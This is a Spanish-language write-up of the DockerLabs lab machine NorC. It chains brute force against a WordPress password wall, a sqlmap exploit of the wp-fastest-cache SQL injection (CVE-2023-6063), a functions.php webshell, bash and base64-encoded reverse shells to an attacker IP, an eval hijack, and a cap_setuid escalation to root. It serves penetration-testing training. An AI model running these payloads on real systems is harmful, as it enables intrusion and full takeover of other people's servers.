the_open_door
café
ESEN

NorC

DockerLabsDifícilLinux172.17.0.2

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#dockerlabs#wordpress#vhost#password-protected#brute-force#wp-fastest-cache#cve-2023-6063#sqli#sqlmap#functions-php#webshell#pspy#eval#capabilities#cap-setuid
TL;DR. NorC es un WordPress con varias capas. Primero, un plugin Password Protected que se salta a fuerza bruta con un script (cassandra). Después, el plugin wp-fastest-cache v1.2.1, vulnerable a una SQLi ciega basada en tiempo (CVE-2023-6063) que sqlmap explota para volcar la base de datos y revelar un subdominio, oledockers.norc.labs, donde están las credenciales de admin. Con ellas se inyecta una webshell en functions.php → www-data. pspy descubre un script del usuario kvzlx que hace eval de un fichero escribible → kvzlx. Y una capability cap_setuid sobre un python3 propio cierra la caja como root. Nota: las capturas originales son enlaces externos ya no accesibles; las salidas se describen en texto y los valores que solo vivían en esas imágenes van como marcadores.

Reconocimiento

Escaneo inicial y vhost

El escaneo de puertos deja un servicio web sobre el 80. El sitio referencia el dominio norc.labs, así que se añade al /etc/hosts para resolverlo:

sudo nmap -sS -n -Pn -p- --min-rate 5000 --open <ip>
PORT   STATE SERVICE
80/tcp open  http
nmap -p80 -sCV <ip> -oN targeted
echo "<ip> norc.labs" | sudo tee -a /etc/hosts
whatweb http://norc.labs

whatweb y Wappalyzer detectan dos CMS mezclados, Drupal y WordPress. Como hay WordPress, se prueba wp-admin, que devuelve un panel de login. Los ataques directos (fuerza bruta, SQLi) chocan con un límite de intentos, señal de que primero conviene enumerar.

Acceso: WordPress protegido con contraseña

Fuerza bruta al Password Protected

dirsearch revela que el sitio usa el plugin Password Protected: pide una contraseña global antes de mostrar nada, sin límite de intentos. Se automatiza el ataque con un pequeño script que envía cada palabra por POST y detecta el fallo por la cadena Incorrect:

while IFS= read -r pass; do
  response=$(timeout 1.5 curl -s "http://norc.labs/wp-sitemap.xml?password-protected=login&redirect_to=http%3A%2F%2Fnorc.labs%2Fwp-sitemap.xml" \
    --data "password_protected_pwd=$pass&wp-submit=Log+In&password_protected_cookie_test=1&password-protected=login" \
    -H "Cookie: wordpress_test_cookie=WP%20Cookie%20check" | grep Incorrect | awk -F '>' '{print $2}' | awk '{print $1}')
  if [[ "$response" != "Incorrect" ]]; then
    echo "Contraseña $pass correcta"
  fi
done < rockyou.txt

La contraseña global es cassandra.

Enumeración de wp-sitemap

Superado el muro, wp-sitemap.xml encadena a otros mapas (wp-sitemap-posts-post-1.xml → /hello-world/ …) que acaban confluyendo en el mismo punto. La única información de valor es una cuenta de yopmail (correo temporal público que se consulta sin contraseña). Se guarda por si sirve más adelante, pero por ahora no lleva a nada, así que se pasa a enumerar plugins.

SQLi en wp-fastest-cache (CVE-2023-6063)

Descubrir el plugin vulnerable

Con un diccionario específico de rutas de WordPress, wfuzz enumera los plugins instalados:

wfuzz -u http://norc.labs/FUZZ -w WPfuzz.txt --hc=404,302,500,403,400

Aparece wp-fastest-cache v1.2.1, vulnerable a una SQLi por no sanear la entrada antes de usarla en la consulta (CVE-2023-6063). Es una inyección ciega basada en tiempo.

Volcado con sqlmap

La inyección se dispara con la cookie de sesión de WordPress. Se lanza sqlmap y, en cuanto identifica la base de datos wordpress, se acota el volcado a ella indicando que es basada en tiempo para ir más rápido:

sqlmap -u "http://norc.labs/wp-login.php" --cookie="wordpress_logged_in=*" \
  --dbms=mysql --time-sec=5 -D wordpress --dump --batch

Se obtiene el hash del usuario admin (formato phpass), que john no logra crackear:

john --format=phpass --wordlist=rockyou.txt adminHash --fork=5

Pero el volcado también revela el correo del admin: admin@oledockers.norc.labs. Ese dominio delata un subdominio.

Acceso como admin: el subdominio oledockers

Se añade el subdominio al /etc/hosts y se enumera:

echo "<ip> oledockers.norc.labs" | sudo tee -a /etc/hosts

En oledockers.norc.labs aparecen directamente las credenciales del usuario admin. Se validan en el login de WordPress y funcionan:

admin : <password>

Shell como www-data

Con sesión de administrador en WordPress, la vía habitual de RCE es el editor de temas: se inyecta una webshell en el functions.php del tema activo (twentytwentytwo) y se guarda:

<?php system($_GET["cmd"]); ?>
/wp-content/themes/<theme_name>/functions.php

Mantenemos nc a la escucha en el 4444:

nc -nlvp 4444

Desde ahí, el one-liner de Bash (URL-encodeado) devuelve una reverse shell como www-data:

bash -c "bash -i >& /dev/tcp/172.17.0.1/4444 0>&1"

Shell como kvzlx

En el home hay un script del usuario kvzlx que hace algo peligroso:

#!/bin/bash
ENC_PASS=$(cat /var/www/html/.wp-encrypted.txt)
DECODED_PASS=$(echo $ENC_PASS | base64 -d)
echo $DECODED_PASS > /tmp/decoded.txt
eval "$DECODED_PASS"

El script lee /var/www/html/.wp-encrypted.txt, lo decodifica en base64 y hace eval del resultado. El fichero no existe, pero www-data puede crearlo: cualquier cosa que metamos ahí (codificada en base64) se ejecutará con los privilegios de kvzlx cuando el script corra. Primero se confirma con pspy que el script se ejecuta periódicamente (con ps aux no se ve sin privilegios):

wget http://172.17.0.1/pspy64 -O /tmp/pspy64
chmod +x /tmp/pspy64
/tmp/pspy64

Confirmada la ejecución, se planta una revshell en el fichero escribible y se espera la conexión en el puerto elegido:

echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTcuMC4xLzEyMzUgMD4mMQ==" > /var/www/html/.wp-encrypted.txt
nc -nlvp 1235

Cae la shell como kvzlx.

Escalada de privilegios

kvzlx → root (cap_setuid)

Se buscan capabilities asignadas a binarios:

/usr/sbin/getcap -r / 2>/dev/null
/opt/python3 cap_setuid=ep

Un python3 con cap_setuid puede cambiar su propio UID a 0 sin ser SUID: la capability le concede justo esa facultad. Se abusa con un script que hace os.setuid(0) y lanza una shell:

#!/usr/bin/python3
import os
os.setuid(0)
os.system("/bin/bash")

Ejecutándolo con la ruta completa de ese python3, la shell resultante es de root:

/opt/python3 /tmp/rootPrivesc.py
id
uid=0(root) gid=0(root) groups=0(root)

Cadena de ataque

HTTP  ->  vhost norc.labs  ->  WordPress (Password Protected)
    └─> fuerza bruta del muro  ->  cassandra
            └─> wfuzz plugins  ->  wp-fastest-cache 1.2.1  ->  SQLi (CVE-2023-6063)  ->  sqlmap
                    └─> dump  ->  admin@oledockers.norc.labs  ->  subdominio  ->  credenciales admin
                            └─> functions.php webshell  ->  www-data
                                    └─> .wp-encrypted.txt (eval, escribible) + pspy  ->  kvzlx
                                            └─> getcap: cap_setuid en /opt/python3  ->  os.setuid(0)  ->  root

Lecciones aprendidas

  • Un muro de contraseña sin límite de intentos no es un muro. El plugin Password Protected solo añade una clave global; sin rate-limit, un script la revienta como cualquier login.
  • Un plugin desactualizado tira toda la instalación. wp-fastest-cache 1.2.1 y su CVE-2023-6063 convierten una cookie en un volcado completo de la base de datos vía SQLi ciega.
  • El correo del admin filtra la arquitectura. admin@oledockers.norc.labs no es un dato menor: revela un subdominio que había que enumerar para encontrar las credenciales reales.
  • eval sobre un fichero escribible es RCE diferido. Un script que decodifica y evalúa un fichero que otro usuario puede escribir regala su cuenta; pspy (repo) confirma la periodicidad sin necesidad de privilegios.
  • cap_setuid es root sin SUID ni sudo. Una capability mal puesta sobre un intérprete permite setuid(0) directo; conviene auditar getcap -r / igual que se auditan los binarios SUID.
Cheatsheet de comandos 10 comandos

Repaso rápido